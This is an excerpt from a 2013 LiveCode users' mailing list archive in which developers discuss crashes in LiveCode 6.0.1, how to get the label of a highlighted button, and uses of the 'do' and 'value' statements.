can be at any time. So it is best to always assume the app will be starting from scratch the next time it opens. > Thanks Jacque - looks like this is going to be more complicated than I'd like. If only the resume message was also sent. Terry... > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From shawnlivecode at gmail.com Tue May 7 17:35:33 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Tue, 7 May 2013 16:35:33 -0500 Subject: Anyone else experiencing crashes with Commercial Build 1513? In-Reply-To: References: <51896CFE.10102@hyperactivesw.com> Message-ID: Jacques, I can't tell exactly what I'm doing to cause the crashes, at least not yet, I have about 15 cards in my stack and three images, several radio buttons, and few errors that have yet to be fixed. I can tell you that it crashes enough on a daily basis that I'm aware of it and make damn sure I save my stack after a few code changes. On Tue, May 7, 2013 at 4:27 PM, Jacques Hausser wrote: > My "problem" is that till now I didn't have any crash with Commercial > built 1513? I'm working on a stack which deals mainly with images and also > with interfacing with google maps. Can you tell what exactly you are doing ? > > Jacques > > Le 7 mai 2013 ? 23:07, "J. Landman Gay" a > ?crit : > > > On 5/7/13 3:40 PM, Shawn Blc wrote: > >> Anyone else experiencing crashes with Commercial Build 1513? > >> > >> In the last three days I must have over 10 crashes with Commercial Build > >> 1513. Anyone experiencing several crashes? > > > > Crashes or hangs? I get hangs all the time, and they require a > force-quit. I haven't pinpointed why yet. What are you doing when it > happens? Maybe I'm doing that too. > > > > -- > > Jacqueline Landman Gay | jacque at hyperactivesw.com > > HyperActive Software | http://www.hyperactivesw.com > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From shawnlivecode at gmail.com Tue May 7 17:36:21 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Tue, 7 May 2013 16:36:21 -0500 Subject: Anyone else experiencing crashes with Commercial Build 1513? In-Reply-To: References: <51896CFE.10102@hyperactivesw.com> Message-ID: By the way ... I'm on a MAC, running OSX 10.8.3, 16 GB memory. On Tue, May 7, 2013 at 4:35 PM, Shawn Blc wrote: > Jacques, I can't tell exactly what I'm doing to cause the crashes, at > least not yet, I have about 15 cards in my stack and three images, several > radio buttons, and few errors that have yet to be fixed. I can tell you > that it crashes enough on a daily basis that I'm aware of it and make damn > sure I save my stack after a few code changes. > > > > > On Tue, May 7, 2013 at 4:27 PM, Jacques Hausser wrote: > >> My "problem" is that till now I didn't have any crash with Commercial >> built 1513? I'm working on a stack which deals mainly with images and also >> with interfacing with google maps. Can you tell what exactly you are doing ? >> >> Jacques >> >> Le 7 mai 2013 ? 23:07, "J. Landman Gay" a >> ?crit : >> >> > On 5/7/13 3:40 PM, Shawn Blc wrote: >> >> Anyone else experiencing crashes with Commercial Build 1513? >> >> >> >> In the last three days I must have over 10 crashes with Commercial >> Build >> >> 1513. Anyone experiencing several crashes? >> > >> > Crashes or hangs? I get hangs all the time, and they require a >> force-quit. I haven't pinpointed why yet. What are you doing when it >> happens? Maybe I'm doing that too. >> > >> > -- >> > Jacqueline Landman Gay | jacque at hyperactivesw.com >> > HyperActive Software | http://www.hyperactivesw.com >> > >> > _______________________________________________ >> > use-livecode mailing list >> > use-livecode at lists.runrev.com >> > Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> > http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > From dochawk at gmail.com Tue May 7 17:40:37 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Tue, 7 May 2013 14:40:37 -0700 Subject: Anyone else experiencing crashes with Commercial Build 1513? In-Reply-To: References: <51896CFE.10102@hyperactivesw.com> Message-ID: On Tue, May 7, 2013 at 2:24 PM, Shawn Blc wrote: > I'm definitely getting crashes. Just happened again! I haven't noticed > anything in particular on why the crashes are happening, but they're > happening and seem to be happening when I'm hitting the next button on a > card (go next). It's not often enough to say that that's the problem > though. Gosh, the crashes (particularly when trying to close/quit) are so common that I barely notice them. -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From shawnlivecode at gmail.com Tue May 7 17:50:31 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Tue, 7 May 2013 16:50:31 -0500 Subject: Anyone else experiencing crashes with Commercial Build 1513? In-Reply-To: References: <51896CFE.10102@hyperactivesw.com> Message-ID: There's a wise guy in every group. ;) On Tue, May 7, 2013 at 4:40 PM, Dr. Hawkins wrote: > On Tue, May 7, 2013 at 2:24 PM, Shawn Blc wrote: > > I'm definitely getting crashes. Just happened again! I haven't noticed > > anything in particular on why the crashes are happening, but they're > > happening and seem to be happening when I'm hitting the next button on a > > card (go next). It's not often enough to say that that's the problem > > though. > > Gosh, the crashes (particularly when trying to close/quit) are so > common that I barely notice them. > > > > > -- > Dr. Richard E. Hawkins, Esq. > (702) 508-8462 > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From shawnlivecode at gmail.com Tue May 7 17:52:43 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Tue, 7 May 2013 16:52:43 -0500 Subject: [BEGINNER] hilitedButtonName and hilitedButtonLabel Message-ID: *put* the hilitedButtonLabel of *group* "grpA6" into gStudentAnswerQ6 Is there a reason why hilitedButtonLabel doesn't work, but hilitedButtonName does? From jacques.hausser at unil.ch Tue May 7 17:57:46 2013 From: jacques.hausser at unil.ch (Jacques Hausser) Date: Tue, 7 May 2013 23:57:46 +0200 Subject: Anyone else experiencing crashes with Commercial Build 1513? In-Reply-To: References: <51896CFE.10102@hyperactivesw.com> Message-ID: I'm not sure it could help, but contrary to yours, my stack has several substacks, each (including the main stack) with one card only. Perhaps the problem has something to do with the navigation between cards in the same stack? By the way, I'm using the same version of OSX as you, with a (probably older) Mac and only 2 GB memory. Jacques Le 7 mai 2013 ? 23:36, Shawn Blc a ?crit : > By the way ... I'm on a MAC, running OSX 10.8.3, 16 GB memory. > > > On Tue, May 7, 2013 at 4:35 PM, Shawn Blc wrote: > >> Jacques, I can't tell exactly what I'm doing to cause the crashes, at >> least not yet, I have about 15 cards in my stack and three images, several >> radio buttons, and few errors that have yet to be fixed. I can tell you >> that it crashes enough on a daily basis that I'm aware of it and make damn >> sure I save my stack after a few code changes. >> >> >> >> >> On Tue, May 7, 2013 at 4:27 PM, Jacques Hausser wrote: >> >>> My "problem" is that till now I didn't have any crash with Commercial >>> built 1513? I'm working on a stack which deals mainly with images and also >>> with interfacing with google maps. Can you tell what exactly you are doing ? >>> >>> Jacques >>> >>> Le 7 mai 2013 ? 23:07, "J. Landman Gay" a >>> ?crit : >>> >>>> On 5/7/13 3:40 PM, Shawn Blc wrote: >>>>> Anyone else experiencing crashes with Commercial Build 1513? >>>>> >>>>> In the last three days I must have over 10 crashes with Commercial >>> Build >>>>> 1513. Anyone experiencing several crashes? >>>> >>>> Crashes or hangs? I get hangs all the time, and they require a >>> force-quit. I haven't pinpointed why yet. What are you doing when it >>> happens? Maybe I'm doing that too. >>>> >>>> -- >>>> Jacqueline Landman Gay | jacque at hyperactivesw.com >>>> HyperActive Software | http://www.hyperactivesw.com >>>> >>>> _______________________________________________ >>>> use-livecode mailing list >>>> use-livecode at lists.runrev.com >>>> Please visit this url to subscribe, unsubscribe and manage your >>> subscription preferences: >>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>> >>> >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >>> subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >>> >> >> > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode ****************************************** Prof. Jacques Hausser Department of Ecology and Evolution Biophore / Sorge University of Lausanne CH 1015 Lausanne please use my private address: 6 route de Burtigny CH-1269 Bassins tel: ++ 41 22 366 19 40 mobile: ++ 41 79 757 05 24 E-Mail: jacques.hausser at unil.ch ******************************************* From devin_asay at byu.edu Tue May 7 18:01:26 2013 From: devin_asay at byu.edu (Devin Asay) Date: Tue, 7 May 2013 22:01:26 +0000 Subject: [BEGINNER] hilitedButtonName and hilitedButtonLabel In-Reply-To: References: Message-ID: <31BDC56EACAAF64688457CE3F71D9F1A01139C25@Peas2.byu.local> On May 7, 2013, at 3:52 PM, Shawn Blc wrote: > *put* the hilitedButtonLabel of *group* "grpA6" into gStudentAnswerQ6 > > Is there a reason why hilitedButtonLabel doesn't work, but > hilitedButtonName does? Possibly because a button label is much more likely to change than its name. Sounds like a design decision in the original MetaCard engine. Devin Devin Asay Office of Digital Humanities Brigham Young University From devin_asay at byu.edu Tue May 7 18:03:56 2013 From: devin_asay at byu.edu (Devin Asay) Date: Tue, 7 May 2013 22:03:56 +0000 Subject: Anyone else experiencing crashes with Commercial Build 1513? In-Reply-To: References: <51896CFE.10102@hyperactivesw.com> Message-ID: <31BDC56EACAAF64688457CE3F71D9F1A01139C6D@Peas2.byu.local> On May 7, 2013, at 3:57 PM, Jacques Hausser wrote: > I'm not sure it could help, but contrary to yours, my stack has several substacks, each (including the main stack) with one card only. Perhaps the problem has something to do with the navigation between cards in the same stack? By the way, I'm using the same version of OSX as you, with a (probably older) Mac and only 2 GB memory. FWIW, I'm also seeing lots of crashes in LC 6.0.1 commercial version. Like Jacque, I haven't detected a pattern. Due to deadlines I've had to drop back to 5.5.4, but I'll try to focus on it after RevLive. Devin Devin Asay Office of Digital Humanities Brigham Young University From jacques.hausser at unil.ch Tue May 7 18:03:35 2013 From: jacques.hausser at unil.ch (Jacques Hausser) Date: Wed, 8 May 2013 00:03:35 +0200 Subject: [BEGINNER] hilitedButtonName and hilitedButtonLabel In-Reply-To: References: Message-ID: <50E1DB98-1CB2-41D9-A05C-0B1708D90B05@unil.ch> Shawn, the hilitedButtonName is a recognized property - the hilitedButtonLabel apparently doesn't exist. You'll have to "put the label of the hilitedButton [?] instead. At least I think so, I didn't check it :-) Jacques Le 7 mai 2013 ? 23:52, Shawn Blc a ?crit : > *put* the hilitedButtonLabel of *group* "grpA6" into gStudentAnswerQ6 > > Is there a reason why hilitedButtonLabel doesn't work, but > hilitedButtonName does? > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode ****************************************** Prof. Jacques Hausser Department of Ecology and Evolution Biophore / Sorge University of Lausanne CH 1015 Lausanne please use my private address: 6 route de Burtigny CH-1269 Bassins tel: ++ 41 22 366 19 40 mobile: ++ 41 79 757 05 24 E-Mail: jacques.hausser at unil.ch ******************************************* From scott at tactilemedia.com Tue May 7 18:05:41 2013 From: scott at tactilemedia.com (Scott Rossi) Date: Tue, 07 May 2013 15:05:41 -0700 Subject: [BEGINNER] hilitedButtonName and hilitedButtonLabel In-Reply-To: Message-ID: AFAICT, the property simply doesn't exist. If you need the label you can do: put the label of btn (the hilitedButton of grp "grpA6") of grp "grpA6" into gStudentAnswerQ6 Regards, Scott Rossi Creative Director Tactile Media, UX/UI Design On 5/7/13 2:52 PM, "Shawn Blc" wrote: >*put* the hilitedButtonLabel of *group* "grpA6" into gStudentAnswerQ6 > >Is there a reason why hilitedButtonLabel doesn't work, but >hilitedButtonName does? >_______________________________________________ >use-livecode mailing list >use-livecode at lists.runrev.com >Please visit this url to subscribe, unsubscribe and manage your >subscription preferences: >http://lists.runrev.com/mailman/listinfo/use-livecode > From shawnlivecode at gmail.com Tue May 7 18:11:06 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Tue, 7 May 2013 17:11:06 -0500 Subject: Anyone else experiencing crashes with Commercial Build 1513? In-Reply-To: <31BDC56EACAAF64688457CE3F71D9F1A01139C6D@Peas2.byu.local> References: <51896CFE.10102@hyperactivesw.com> <31BDC56EACAAF64688457CE3F71D9F1A01139C6D@Peas2.byu.local> Message-ID: Ok here's the first few lines of my crash report. Notice in the crash report it says build 1512, but in LC it actually says build 1513 (probably nothing to do with the crash though). When this crash occurred just moments ago I just ungrouped a group, then regrouped the group of radio buttons. FWIW here's the first few lines. Process: LiveCode-Commercial [21304] Path: /Applications/LiveCode 6.0.1.app/Contents/MacOS/LiveCode-Commercial Identifier: com.runrev.livecode Version: 6.0.1-rc-1.1512 (6.0.1-rc-1.1512) Code Type: X86 (Native) Parent Process: launchd [125] User ID: 501 Date/Time: 2013-05-07 17:07:36.265 -0500 OS Version: Mac OS X 10.8.3 (12D78) Report Version: 10 Interval Since Last Report: 27287 sec Crashes Since Last Report: 4 Per-App Interval Since Last Report: 27055 sec Per-App Crashes Since Last Report: 3 On Tue, May 7, 2013 at 5:03 PM, Devin Asay wrote: > > On May 7, 2013, at 3:57 PM, Jacques Hausser wrote: > > > I'm not sure it could help, but contrary to yours, my stack has several > substacks, each (including the main stack) with one card only. Perhaps the > problem has something to do with the navigation between cards in the same > stack? By the way, I'm using the same version of OSX as you, with a > (probably older) Mac and only 2 GB memory. > > FWIW, I'm also seeing lots of crashes in LC 6.0.1 commercial version. Like > Jacque, I haven't detected a pattern. Due to deadlines I've had to drop > back to 5.5.4, but I'll try to focus on it after RevLive. > > Devin > > > > Devin Asay > Office of Digital Humanities > Brigham Young University > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From gbojsza at gmail.com Tue May 7 18:13:53 2013 From: gbojsza at gmail.com (Glen Bojsza) Date: Tue, 7 May 2013 18:13:53 -0400 Subject: [BEGINNER] hilitedButtonName and hilitedButtonLabel In-Reply-To: <50E1DB98-1CB2-41D9-A05C-0B1708D90B05@unil.ch> References: <50E1DB98-1CB2-41D9-A05C-0B1708D90B05@unil.ch> Message-ID: You could do the following to get the label of the hilited button in a group put the label of button (the hilitedButtonName of grp "mybuttons") On Tue, May 7, 2013 at 6:03 PM, Jacques Hausser wrote: > Shawn, > > the hilitedButtonName is a recognized property - the hilitedButtonLabel > apparently doesn't exist. You'll have to "put the label of the > hilitedButton [?] instead. > At least I think so, I didn't check it :-) > > Jacques > > Le 7 mai 2013 ? 23:52, Shawn Blc a ?crit : > > > *put* the hilitedButtonLabel of *group* "grpA6" into gStudentAnswerQ6 > > > > Is there a reason why hilitedButtonLabel doesn't work, but > > hilitedButtonName does? > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > ****************************************** > Prof. Jacques Hausser > Department of Ecology and Evolution > Biophore / Sorge > University of Lausanne > CH 1015 Lausanne > please use my private address: > 6 route de Burtigny > CH-1269 Bassins > tel: ++ 41 22 366 19 40 > mobile: ++ 41 79 757 05 24 > E-Mail: jacques.hausser at unil.ch > ******************************************* > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From shawnlivecode at gmail.com Tue May 7 18:15:50 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Tue, 7 May 2013 17:15:50 -0500 Subject: [BEGINNER] hilitedButtonName and hilitedButtonLabel In-Reply-To: References: Message-ID: Scott, thank you that worked like a champ! On Tue, May 7, 2013 at 5:05 PM, Scott Rossi wrote: > AFAICT, the property simply doesn't exist. If you need the label you can > do: > > put the label of btn (the hilitedButton of grp "grpA6") of grp "grpA6" > into gStudentAnswerQ6 > > Regards, > > Scott Rossi > Creative Director > Tactile Media, UX/UI Design > > > > > On 5/7/13 2:52 PM, "Shawn Blc" wrote: > > >*put* the hilitedButtonLabel of *group* "grpA6" into gStudentAnswerQ6 > > > >Is there a reason why hilitedButtonLabel doesn't work, but > >hilitedButtonName does? > >_______________________________________________ > >use-livecode mailing list > >use-livecode at lists.runrev.com > >Please visit this url to subscribe, unsubscribe and manage your > >subscription preferences: > >http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From shawnlivecode at gmail.com Tue May 7 18:16:27 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Tue, 7 May 2013 17:16:27 -0500 Subject: [BEGINNER] hilitedButtonName and hilitedButtonLabel In-Reply-To: References: <50E1DB98-1CB2-41D9-A05C-0B1708D90B05@unil.ch> Message-ID: I'll try that too Glen. Thanks. On Tue, May 7, 2013 at 5:13 PM, Glen Bojsza wrote: > You could do the following to get the label of the hilited button in a > group > > put the label of button (the hilitedButtonName of grp "mybuttons") > > On Tue, May 7, 2013 at 6:03 PM, Jacques Hausser >wrote: > > > Shawn, > > > > the hilitedButtonName is a recognized property - the hilitedButtonLabel > > apparently doesn't exist. You'll have to "put the label of the > > hilitedButton [?] instead. > > At least I think so, I didn't check it :-) > > > > Jacques > > > > Le 7 mai 2013 ? 23:52, Shawn Blc a ?crit : > > > > > *put* the hilitedButtonLabel of *group* "grpA6" into gStudentAnswerQ6 > > > > > > Is there a reason why hilitedButtonLabel doesn't work, but > > > hilitedButtonName does? > > > _______________________________________________ > > > use-livecode mailing list > > > use-livecode at lists.runrev.com > > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > ****************************************** > > Prof. Jacques Hausser > > Department of Ecology and Evolution > > Biophore / Sorge > > University of Lausanne > > CH 1015 Lausanne > > please use my private address: > > 6 route de Burtigny > > CH-1269 Bassins > > tel: ++ 41 22 366 19 40 > > mobile: ++ 41 79 757 05 24 > > E-Mail: jacques.hausser at unil.ch > > ******************************************* > > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From dunbarx at aol.com Tue May 7 18:18:09 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Tue, 7 May 2013 18:18:09 -0400 (EDT) Subject: Comment about "do" (was clickLine/clickcharchunk) In-Reply-To: References: Message-ID: <8D01987E3F9893B-1FDC-1A06F@webmail-vm014.sysops.aol.com> Peter. "...Feels like value could be a way round using do statements in some circumstances." True. But there are times when "do" is unavoidable, and also times when it is invaluable. I use "do" in cases where an object or variable reference had been "distanced" in some way from its initial appearance. For example, in a locked field with some lines of text in it: on mouseup put random(99) & return into the clickLine --Works fine. Direct, immediate use of the function end mouseup on mouseup get the clickLine --puts some "distance" between the clickLine as a function and as a string in a variable. -- put random(99) into it --does not work, though it seems like it should do "put" && random(99) && "into" && it --works end mouseup There are all kinds of reasons why one would want to put such a function somewhere, and use it later. This all started in 1987, with such functions as "the foundLine". "Do" has a bad rep. It does not deserve it. Craig -----Original Message----- From: Peter Haworth To: How to use LiveCode Sent: Tue, May 7, 2013 3:12 pm Subject: Re: clickLine/clickcharchunk Thanks Mike, Andre, and Scott. Never used value before so you filled another gap in my LC knowledge. Feels like value could be a way round using do statements in some circumstances. Pete lcSQL Software _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From pete at lcsql.com Tue May 7 18:20:29 2013 From: pete at lcsql.com (Peter Haworth) Date: Tue, 7 May 2013 15:20:29 -0700 Subject: [TG][PRO] tags In-Reply-To: <00a501ce4b68$f71c6bc0$e5554340$@net> References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> <51892482.2090401@gmail.com> <00a501ce4b68$f71c6bc0$e5554340$@net> Message-ID: [PROTEST]? Pete lcSQL Software On Tue, May 7, 2013 at 2:22 PM, Ralph DiMola wrote: > As long as protests are in play. First of all.... > > GAY = quod erat demonstrandum > > I object to GAY. This should be reserved for Jacque. You know, when you get > one of those "Believe me on this one" code gems. > quod erat demonstrandum can just use [QED] > > [PRO] = I protest. > > Ralph DiMola > IT Director > Evergreen Information Services > rdimola at evergreeninfo.net > > > -----Original Message----- > From: use-livecode [mailto:use-livecode-bounces at lists.runrev.com] On > Behalf > Of Jacques Hausser > Sent: Tuesday, May 07, 2013 5:00 PM > To: How to use LiveCode > Subject: Re: [TG] tags > > > Le 7 mai 2013 ? 17:57, Richmond a ?crit : > > > CH = cheese > > I have to protest about this one. CH very officially means "Confederatio > Helvetica", AKA Switzerland. The fact that Switzerland is also the > fatherland of some of the best ch**ses in this world is purely incidental. > Try "LD" for Leerdammer instead. > > Jacques > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From scott at tactilemedia.com Tue May 7 18:23:51 2013 From: scott at tactilemedia.com (Scott Rossi) Date: Tue, 07 May 2013 15:23:51 -0700 Subject: Anyone else experiencing crashes with Commercial Build 1513? In-Reply-To: <51896CFE.10102@hyperactivesw.com> Message-ID: Jacque, I get hangs all the time, since forever (not just v6). For me, the hang occurs 99% of the time when editing scripts. I do a lot of work with behaviors and front scripts, and it's usually during the process of editing one of these that I get locked up. Full crashes are fairly rare for me (thankfully). Regards, Scott Rossi Creative Director Tactile Media, UX/UI Design On 5/7/13 2:07 PM, "J. Landman Gay" wrote: >Crashes or hangs? I get hangs all the time, and they require a >force-quit. I haven't pinpointed why yet. What are you doing when it >happens? Maybe I'm doing that too. From shawnlivecode at gmail.com Tue May 7 19:08:32 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Tue, 7 May 2013 18:08:32 -0500 Subject: Anyone else experiencing crashes with Commercial Build 1513? In-Reply-To: References: <51896CFE.10102@hyperactivesw.com> Message-ID: Another crash. FWIW here's the first few lines of the crash report again. Process: LiveCode-Commercial [21436] Path: /Applications/LiveCode 6.0.1.app/Contents/MacOS/LiveCode-Commercial Identifier: com.runrev.livecode Version: 6.0.1-rc-1.1512 (6.0.1-rc-1.1512) Code Type: X86 (Native) Parent Process: launchd [125] User ID: 501 Date/Time: 2013-05-07 18:07:22.790 -0500 OS Version: Mac OS X 10.8.3 (12D78) Report Version: 10 Interval Since Last Report: 30874 sec Crashes Since Last Report: 5 Per-App Interval Since Last Report: 30409 sec Per-App Crashes Since Last Report: 4 On Tue, May 7, 2013 at 5:23 PM, Scott Rossi wrote: > Jacque, I get hangs all the time, since forever (not just v6). > > For me, the hang occurs 99% of the time when editing scripts. I do a lot > of work with behaviors and front scripts, and it's usually during the > process of editing one of these that I get locked up. > > Full crashes are fairly rare for me (thankfully). > > Regards, > > Scott Rossi > Creative Director > Tactile Media, UX/UI Design > > > > > On 5/7/13 2:07 PM, "J. Landman Gay" wrote: > > >Crashes or hangs? I get hangs all the time, and they require a > >force-quit. I haven't pinpointed why yet. What are you doing when it > >happens? Maybe I'm doing that too. > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From jacque at hyperactivesw.com Tue May 7 19:09:24 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Tue, 07 May 2013 18:09:24 -0500 Subject: Anyone else experiencing crashes with Commercial Build 1513? In-Reply-To: References: <51896CFE.10102@hyperactivesw.com> Message-ID: <518989A4.4070304@hyperactivesw.com> On 5/7/13 4:27 PM, Jacques Hausser wrote: > My "problem" is that till now I didn't have any crash with Commercial > built 1513? I'm working on a stack which deals mainly with images and > also with interfacing with google maps. Can you tell what exactly you > are doing ? My stack is very image-intensive too, I am loading a background image with new content on every card change. Most cards also have their own images too. There are also audio and video players. The way images work was changed in 6.0 so maybe that's it. But I don't often crash, it is usually a hang with the spinning beach ball. It isn't always in the same place or after the same action, so I can't reproduce it. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Tue May 7 19:11:18 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Tue, 07 May 2013 18:11:18 -0500 Subject: suspend/resume messages on Android? In-Reply-To: References: <0B06C1C8-51FE-46EC-A3B8-9C9F2BFE9CFF@unimelb.edu.au>, <5189494D.2060603@hyperactivesw.com> Message-ID: <51898A16.7080307@hyperactivesw.com> On 5/7/13 4:35 PM, Terry Judd wrote: > Thanks Jacque - looks like this is going to be more complicated than > I'd like. If only the resume message was also sent. A resume message would be nice. I think you'll get an opencard though (but I can't remember.) -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From pete at lcsql.com Tue May 7 19:18:00 2013 From: pete at lcsql.com (Peter Haworth) Date: Tue, 7 May 2013 16:18:00 -0700 Subject: Comment about "do" (was clickLine/clickcharchunk) In-Reply-To: <8D01987E3F9893B-1FDC-1A06F@webmail-vm014.sysops.aol.com> References: <8D01987E3F9893B-1FDC-1A06F@webmail-vm014.sysops.aol.com> Message-ID: On Tue, May 7, 2013 at 3:18 PM, wrote: > Peter. > > > "...Feels like value could be a way round using do statements in some > circumstances." > > > True. But there are times when "do" is unavoidable, and also times when it > is invaluable. I use "do" in cases where an object or variable reference > had been "distanced" in some way from its initial appearance. For example, > in a locked field with some lines of text in it: > Sure, I have nothing particularly against "do" except that coding it can look messy. > > > > > on mouseup > put random(99) & return into the clickLine --Works fine. Direct, > immediate use of the function > end mouseup > That's where I think clickline can't decide if it's a string or a reference to a string. Put "xyz" into the clickline does what you'd expect but put the clickline into tVar doesn't (at least not what I expected) > > > on mouseup > get the clickLine --puts some "distance" between the clickLine as a > function and as a string in a variable. > > -- put random(99) into it --does not work, though it seems like it > should > do "put" && random(99) && "into" && it --works > end mouseup > Does "put random(99) into value(the clickline)" work? Haven't tried it but if it does, it seems less messy than constructing a do statement. > > > There are all kinds of reasons why one would want to put such a function > somewhere, and use it later. > > > This all started in 1987, with such functions as "the foundLine". "Do" has > a bad rep. It does not deserve it. > I agree, except for the "messy code" comment above. > > Craig > > > > > > > > -----Original Message----- > From: Peter Haworth > To: How to use LiveCode > Sent: Tue, May 7, 2013 3:12 pm > Subject: Re: clickLine/clickcharchunk > > > Thanks Mike, Andre, and Scott. Never used value before so you filled > another gap in my LC knowledge. Feels like value could be a way round > using do statements in some circumstances. > > Pete > lcSQL Software > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From jacque at hyperactivesw.com Tue May 7 19:18:46 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Tue, 07 May 2013 18:18:46 -0500 Subject: Anyone else experiencing crashes with Commercial Build 1513? In-Reply-To: References: Message-ID: <51898BD6.7080402@hyperactivesw.com> On 5/7/13 5:23 PM, Scott Rossi wrote: > Jacque, I get hangs all the time, since forever (not just v6). > > For me, the hang occurs 99% of the time when editing scripts. I do a lot > of work with behaviors and front scripts, and it's usually during the > process of editing one of these that I get locked up. > > Full crashes are fairly rare for me (thankfully). So far scripts are okay here, but I do have several behaviors in use. On the other hand, I haven't been doing much actual scripting in 6.x because I'm afraid I'll lose it, so I've gone back to 5.5.4. Like Devin, I have deadlines. The last hang I had in 6.x was when I was working in the property inspector. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Tue May 7 19:20:42 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Tue, 07 May 2013 18:20:42 -0500 Subject: Anyone else experiencing crashes with Commercial Build 1513? In-Reply-To: References: <51896CFE.10102@hyperactivesw.com> Message-ID: <51898C4A.7020105@hyperactivesw.com> On 5/7/13 4:36 PM, Shawn Blc wrote: > By the way ... I'm on a MAC, running OSX 10.8.3, 16 GB memory. Mac OS X 10.7.5 here. If you open a bug report and upload your crash log, I'll add my hang log to it too. Maybe the team can find something in common. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Tue May 7 19:22:28 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Tue, 07 May 2013 18:22:28 -0500 Subject: [TG][PRO] tags In-Reply-To: <00a501ce4b68$f71c6bc0$e5554340$@net> References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> 